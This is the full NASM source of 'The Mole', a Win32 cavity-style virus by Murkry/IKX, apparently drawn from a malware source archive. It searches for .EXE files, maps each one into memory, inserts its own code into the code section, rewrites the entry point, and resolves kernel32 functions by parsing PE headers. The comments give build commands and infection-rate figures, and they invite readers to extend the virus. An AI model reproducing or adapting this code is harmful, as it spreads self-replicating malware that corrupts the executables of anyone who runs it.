MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.mole.asm
2021-01-12 17:49:21 -06:00

794 lines
22 KiB
NASM

;The Mole by Murkry\ikx
;A small win32 virus that uses memmap to expand the code section of a
;.exe then place its code there. Does not work on some Win98 files since
;MS in its infinite wisdom has made file aligment 1000h instead of 200h
;of course this makes this type of virus redunant since you do not need
;to expand the section odds are the file will have 400-800h bytes free anyway
;so the day of cavity infectors has come in the form of Win98 but sadly
;this virus does not infect Win98 type files. But it does infect WinNT
;A relative small change in code should rectify this.
;if the file infect mask is changed to *.dll it will work and if then
;return to *.exe it returns. This would be a intersting change for other
;students of vx to explore.
;To assemble
;tasm32 /ml /m3 mole;
;tlink32 /Tpe /aa /c /x mole,mole,, import32.lib,
;Tested in NT and Win95 works very well
;size just under 400h to get the date resest and control attributes
;it would need to be bigger say 600h;
;A quick survey off 30 PE file in a win95 directory shows
; possible percent of files that can be infected versus size of
;virus of this type
;
; 400h 83%
; 600h 60%
; 800h 50%
; a00h 37%
; c00h 20%
ViriiSize equ 400h
.386
.model flat,stdcall
extrn GetFileSize:PROC
extrn ExitProcess:PROC
extrn CreateFileA:PROC
extrn CreateFileMappingA:PROC
extrn MapViewOfFile:PROC
extrn UnmapViewOfFile:PROC
extrn CloseHandle:PROC
extrn FindFirstFileA:PROC
extrn FindNextFileA:PROC
extrn FindClose:PROC
extrn SetEndOfFile:PROC
FILE_MAP_COPY EQU 000000001h
FILE_MAP_WRITE EQU 000000002h
FILE_MAP_READ EQU 000000004h
FILE_MAP_ALL_ACCESS EQU 0000f001fh
INVALID_HANDLE_VALUE EQU -1
FILE_ATTRIBUTE_NORMAL EQU 000000080h
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
OPEN_EXISTING equ 3
PAGE_NOACCESS EQU 000000001h
PAGE_READONLY EQU 000000002h
PAGE_READWRITE EQU 000000004h
PAGE_WRITECOPY EQU 000000008h
PAGE_EXECUTE EQU 000000010h
PAGE_EXECUTE_READ EQU 000000020h
PAGE_EXECUTE_READWRITE EQU 000000040h
PAGE_EXECUTE_WRITECOPY EQU 000000080h
;Header Offsets
PEHeaderSze EQU 0F8h
NumOfSects EQU 06h
SizeOfCode equ 1ch
ImageSze equ 50h
;section offsets
VSize equ 8h
VAddress equ 0Ch
SzeRawData equ 10h
PtrRawData equ 14h
HdrSze equ 28h
Find_data equ 139h
Find_data_name equ 2ch ;where in the structure is the name
FileSizeH equ 14h ;if not zero get out
Filesize equ 20h ;file size low
;find_file db Find_data dup(00) ;size of the find data
;-------------------------------------------
;how the stack is used
SHandle equ 0 ;Handle for the search routine
FHandle equ SHandle + 4 ;Handle for open file
CMHandle equ FHandle + 4 ;CreateMFileHandle
MHandle equ CMHandle + 4 ;Mhandle also address of where it is
FindFile equ MHandle + 4
CFile equ FindFile + Find_data + 4
CFMap equ CFile + 4
MapV equ CFMap + 4
CloseH equ MapV + 4
FindFirst equ CloseH + 4
FindNext equ FindFirst + 4
CloseFnd equ FindNext + 4
UnMapV equ CloseFnd + 4
SetFEnd equ UnMapV + 4
Flag equ SetFEnd + 3
GetProc equ Flag + 4
K32Load Equ GetProc + 4
HostPE Equ K32Load + 4
HostLoad equ HostPE + 4
Delta equ HostLoad + 4
WorkSpace equ GetProc
;-------------------------------------------
.data ;the data area
dummy dd ? ;this needs some data
;or it won't compile ...easily
;-------------------------------------------
.code
Mole:
db 68h
HostEip dd offset fini - 00400000h
Pusha
call GetAddie ;this leaves some data on the stack
;which mole use's
D1: sub esp,WorkSpace
mov ebp,esp
sub dword ptr[ebp + Delta],offset D1 - Offset Mole
;this gives mole its location in memory
;set return up to old eip
mov eax,dword ptr [ebp + HostPE]
add dword ptr [ebp + Delta + 4 + (8*4)],eax
Call GetFunctions ;With the k32 module
;and GetProc we can now get all
;the Fuctions we want
;FINDFIRST
lea eax,[ebp + FindFile]
push eax
mov eax,[ebp + Delta]
;add eax, offset FileN - Offset Mole
add eax, offset Fmask - Offset Mole
push eax
call dword ptr [ebp + FindFirst]
mov dword ptr [ebp + SHandle],eax
inc eax
jz NoFiles
dec eax
TryItAgain:
mov byte ptr [ebp + Flag],0 ;assume too small
call Map_Infect?
cmp byte ptr[ebp + Flag],0
jz FindNextOne
add dword ptr [Ebp + FindFile + Filesize],ViriiSize
call Map_Infect?
;call Modify
FindNextOne:
;FINDNEXT
lea eax,[ebp + FindFile]
push eax
mov eax,[ebp + SHandle]
push eax
call dword ptr [ebp + FindNext]
or eax,eax
jnz TryItAgain
NoFiles:
lea eax,[ebp + FindFile]
push eax
Call dword ptr [ebp + CloseFnd]
ADD ESP,Delta + 4 ;restore all
Popa
ret ;return to the host
;--------------------------------------------------------------
Map_Infect?:
xor eax,eax
cdq ;edx = 0
push eax ;handle template
;push FILE_ATTRIBUTE_NORMAL ;attr flags
mov dl,80h
push edx
push large OPEN_EXISTING ;creat flags
push eax ;security issue
push eax ;share mode
push GENERIC_READ or GENERIC_WRITE ;r\w access
Lea eax,[ebp + FindFile + Find_data_name]
push eax ;file name
call dword ptr [ebp + CFile] ;CreateFileA
inc eax ;smaller than cmp eax,-1, je...
jz FileError ;
dec eax ;
;-------------------------------------------------------------
cdq ;get edx = 0
mov [ebp + FHandle],eax
;-------------------------------------------------------
;CreateFileMap object
;This is what will determine how big the file is
;when this is done the file size will be changed
;and of course the date is changed
push edx ;fileMap name
push dword ptr [Ebp + FindFile + Filesize]
push edx ;file size high not use for this
push large PAGE_READWRITE ;Protection Rights R/W etc
push edx ;security attr
push eax ;File Handle
call dword ptr [ ebp + CFMap ] ;CreateFileMappingA
cdq ;again zero edx
;why here well ecx usual contains a
;value like C??????? which when xchg
;to eax when you us cdq edx = -1 not 0
xchg eax,ecx
jecxz MapHandleError
;-------------------------------------------------------------
mov [ebp + CMHandle],ecx ;2nd FileMapHandle
;-------------------------------------------------------------
;Map the View
push edx ;size to map if 0 whole file
;in win95 its always does whole file
push edx ;where it file to start the mapping
;low word
push edx ;high word
push large FILE_MAP_WRITE ;Acces rights
push ecx ;Map Handle
call dword ptr [ebp + MapV] ;MapViewOfFile
xchg eax,ecx
jecxz ErrorFileMap
;---------------------------------------------------------------------------
mov dword ptr [ebp + MHandle],ecx ;3rd Address of where its mapped
;---------------------------------------------------------------------------
;check for the oking of it then jmp out or back to close
;then reopen
;
MOV EDX,ECX
MOV Ebx,[EDX + 3CH] ;WHERE THE PE
cmp word ptr [ ebx+ edx],'EP'
jne NoRoom
LEA esi,[ebx + PEHeaderSze + edx] ; esi = first Section Entry
;check for the section char is
;set for code
test byte ptr [esi + 24h],20h
JE NoRoom
;FindOut if there is room to expand the file
mov ecx,[ESI + VAddress]
add ecx,[ESI + SzeRawData]
mov Eax,[ESI + VAddress + HdrSze ]
sub Eax,Ecx
cmp eax,ViriiSize
jl NoRoom
cmp byte ptr [ebp + Flag],0
jne Roomie
inc byte ptr [ebp + Flag]
jmp GoodOpenSize
Roomie:
call Infect
NoRoom:
GoodOpenSize: ;if called close file and get ready to infect
push dword ptr [ebp + MHandle]
call dword ptr [ebp + UnMapV] ;UnmapViewOfFile
;-------------------------------------------------------------
ErrorFileMap:
push dword ptr [ebp + CMHandle] ;close file map handle
call dword ptr [ebp + CloseH] ;CloseHandle ;on stack Handle to the Map object
MapHandleError:
push dword ptr [ebp + FHandle]
call dword ptr [ebp + CloseH] ;file CloseHandle ;on stack is the File open
FileError:
ret
;-----------------------------------------------------------------
Infect:
;Ok do the move
push esi
mov edx,[ebp + MHandle]
mov eax,[esi + PtrRawData]
add eax,[esi + SzeRawData] ;where this section ends in the file
mov ecx,dword ptr [Ebp + FindFile + Filesize]
dec ecx
sub ecx,ViriiSize
lea esi,[edx + ecx] ;where to move the data from
lea edi,[edx + ecx + ViriiSize ] ;to
inc ecx
sub ecx,eax ;how much we move for 800h
std ;move backwards
rep movsb ;move it
cld ;move forward again
xchg edi,esi
inc edi
pop esi
push esi
mov eax,[ebp + MHandle]
add eax,[eax + 3ch] ;points to PE
push eax
mov eax,[eax+28h] ;entry point RVA (Eip)
mov byte ptr [edi],68h ;creates the push for the ret
mov dword ptr [edi + 1],eax ;to return to host
pop eax
mov ecx,[ebp + MHandle]
add ecx,[esi + PtrRawData]
push edi
sub edi,ecx
add edi,[esi + VAddress]
;inc edi
mov dword ptr [eax +28h],edi ;update the eip address
pop edi
lea edi,[edi + 5] ;maybe 5 incs are better
mov esi,dword ptr [ebp + Delta]
lea esi,[esi + 5]
mov ecx,offset fini - offset Mole
rep movsb
pop esi ;restore pointer to the section entries
;update the .code area size in the section
add dword ptr [esi + SzeRawData ],ViriiSize
mov eax,dword ptr [esi + SzeRawData]
;update this as well be better if we check if it needed to be
;enlarged???
mov dword ptr [esi + VSize],eax
;not updating the image size since we are not
;becoming bigger in memory aligment only file alignment
;in the header PE
;add dword ptr [edx + ebx + ImageSze],ViriiSize
;Do update the code size in the Header area
add dword ptr [edx + ebx + SizeOfCode],ViriiSize
;now update the rest of the sections
Movzx ecx,word ptr [edx + ebx + NumOfSects]
dec ecx
;update the section entries pter to raw data as long as not 0
NextSect:
add esi, HdrSze
cmp dword ptr [esi + PtrRawData],0
je ZPter
add dword ptr [esi + PtrRawData],ViriiSize
ZPter: loop NextSect
ret
;--------------------------------------------------------------------------
;Used For GetAddie
K32 equ 0
BASE equ K32 + 4
Limit equ BASE + 4
AddFunc equ Limit + 4
AddName equ AddFunc + 4
AddOrd equ AddName+4
Nindex equ AddOrd + 4
WorkSp equ Nindex + 4
GetPAdd equ WorkSp + 4
RetAdd Equ GetPAdd + 4
EdataLoc equ 78h
IdataLoc equ 80h
GetAddie:
call here
here: pop esi
Call GetPE ;eax,esi
jne GetAddie_fini
push eax ;Address of PE header for this module
push esi ;Load address of Module
Call GetK32API
;On return Esi = a API call in Kernel32
Call GetPE ;eax,esi
push ESI ;Module address of K32
;esi = to the load address Kernel32
;eax = address to the PE header of Kernel32
push large 0 ;hold the return info
Call GetGetProcessAdd
push dword ptr [esp + 10h]
GetAddie_fini:
ret
;--------------------------------------------------------------
GetGetProcessAdd:
;esi = to the load address Kernel32
;eax = address to the PE header of Kernel32
;on return
;on the stack is the Address
sub esp,WorkSp
mov ebx,ebp
mov ebp,esp
Pusha
mov dword ptr[ esp+ 8],ebx
mov [ebp + K32],Esi
mov ebx,esi
mov eax,[eax + EdataLoc] ;gets us the Edata offset
lea esi,[eax + ebx + 10h] ;pointer to base
lea edi,[ebp+BASE]
lodsd
;mov [ebp + BASE],eax ;save base
stosd
lodsd ;total number of exported functions
;by name and ordinal
lodsd ;the functions exported by name
;mov [ebp +Limit],eax ;this is how far its safe to look
stosd
lodsd
add eax,ebx
;mov [ebp + AddFunc],eax
stosd
lodsd
add eax,ebx
;mov [ebp + AddName],eax
stosd
lodsd
add eax,ebx
;mov [ebp + AddOrd],eax
stosd
LookLoop:
mov esi,[ebp + AddName]
mov [EBP+Nindex],esi
mov edi,ebx ;get the load Add of K32
add edi,[esi]
xor ecx,ecx
TryAgain:
;find GetProcAddress
cmp [edi],'PteG'
jne NextOne
cmp [edi+4],'Acor'
jne NextOne
cmp [edi+8],'erdd'
jne NextOne
cmp word ptr[edi+0Ch],'ss'
jne NextOne
cmp byte ptr [edi+0Eh],00
jne NextOne
jmp GotGetProcAdd
NextOne:
inc ecx
cmp ecx,[ebp + Limit]
jge NotFound1
add dword ptr [ebp + Nindex],4
mov ESI,[EBP+Nindex]
mov edi,[esi]
add edi,ebx
jmp TryAgain
GotGetProcAdd:
;ok we have the index into the name array use this to get
; the index into the ord array
;
shl ecx,1 ;*2 for a word array
mov esi,[ebp + AddOrd]
add esi,ecx ;move to the correct spot in the array
movzx eax,word ptr [esi]
;ax = ordinal value
shl eax,2 ;*4
mov esi,[ebp + AddFunc]
add esi,eax
mov edi, dword ptr [esi]
add edi,ebx ;got the address of it
xchg eax,edi
mov dword ptr [ebp + GetPAdd],eax
jmp OkFound
NotFound1:
xor eax,eax
OkFound:
popa
add esp,WorkSp
ret
;--------------------------------------------------------------
;ok at this point we have
;esi = to the load address of the program
;eax = address to the PE header now using this get the .idata area
;rather than use the .IDATA section we look for the more dependable
;idata entry in the idatrva section which is offset 80h into the PE header
GetK32API:
push ebx
mov ebx,dword ptr [eax + IdataLoc]
add ebx,esi
;Ebx now points to the import data table
NextDll:
cmp dword ptr [ebx+0ch],0
je NoIdataLeft
lea eax,[ebx+0ch]
mov eax,[eax]
cmp dword ptr [eax+esi],'NREK'
jne NotFound
cmp dword ptr [eax+esi+4],'23LE'
jne NotFound
mov eax,[ebx+10h]
mov eax,[eax+esi]
;next line is needed only in debug td32
;only in win95 not Winnt 4.0 at least so far
; mov eax,[eax+1]
xchg eax,esi
pop ebx
ret
NoIdataLeft:
xor eax,eax
pop ebx
ret
NotFound:
add ebx,14h
jmp NextDll
;---------------------------------------------------------
;Routine that will , given the address within a .exe in memory
;track back and find the MZ header then using this info one can
;find the Kernel32 (as long as the exe imports a kernel32 function
; on input
;esi = the address to start looking at
;on exit
;esi = the address of the MZ header
;eax = the address of the PE header
GetPE:
SetupSEH:
push offset FindExcept
push dword ptr fs:[0]
mov fs:[0],esp
LoopFind:
and esi,0FFFFF000h
pusha
lodsw
cmp ax,'ZM'
je Found
popa
sub esi,1000h
jmp LoopFind
FindExcept:
;Some Exception occured assume "DEAD" area, reset and continue
mov eax,[esp +08h]
lea esp,[eax - 20h]
popa ;restores our "REGS" esi mainly
pop dword ptr fs:[0] ;restore old handler
add esp,4 ;remove last bit of hanlder
sub esi,1000h ;Get set for next page to look at
jmp SetupSEH
Found:
popa ;esi = out MZ header
pop dword ptr fs:[0]
add esp,4
Lea eax,[esi + 3ch]
mov eax,[eax]
add eax,esi
cmp word ptr ds:[eax],'EP'
ret
;---------------------------------------------------------------
GetFunctions:
Mov esi,[ebp+ Delta]
add esi,offset Funct_List - Offset Mole
Lea edi,dword ptr [ebp + CFile]
;mov ecx,9 ;*
xor ecx,ecx
mov cl,9
startGetLoop:
push ecx
push Esi ;function name
Push dword ptr [ ebp + K32Load] ;dll
call dword ptr [ebp + GetProc]
stosd
pop ecx
add esi,13h ;get next name
Loop startGetLoop
ret
;---------------------------------------------------------------
;Data for The Mole
Funct_List:
db "CreateFileA",0 ;12
Fmask db "*.EXE",0 ;5
db 1 dup(90h)
db "CreateFileMappingA",0 ;19
db "MapViewOfFile",0 ;14
db 5 dup(90h)
db "CloseHandle",0 ;12
db 7 dup(90h)
db "FindFirstFileA",0 ;15
db 4 dup(90h)
db "FindNextFileA",0 ;14
db 5 dup(90h)
db "FindClose",0 ;10
db 9 dup(90h)
db "UnmapViewOfFile",0 ;16
db 3 dup(90h)
db "SetEndOfFile",0 ;13
;db 6 dup(90h)
db 'Murkry\IKX'
;=========================================================================
fini:
push LARGE -1
call ExitProcess ;this simply terminates the program
end Mole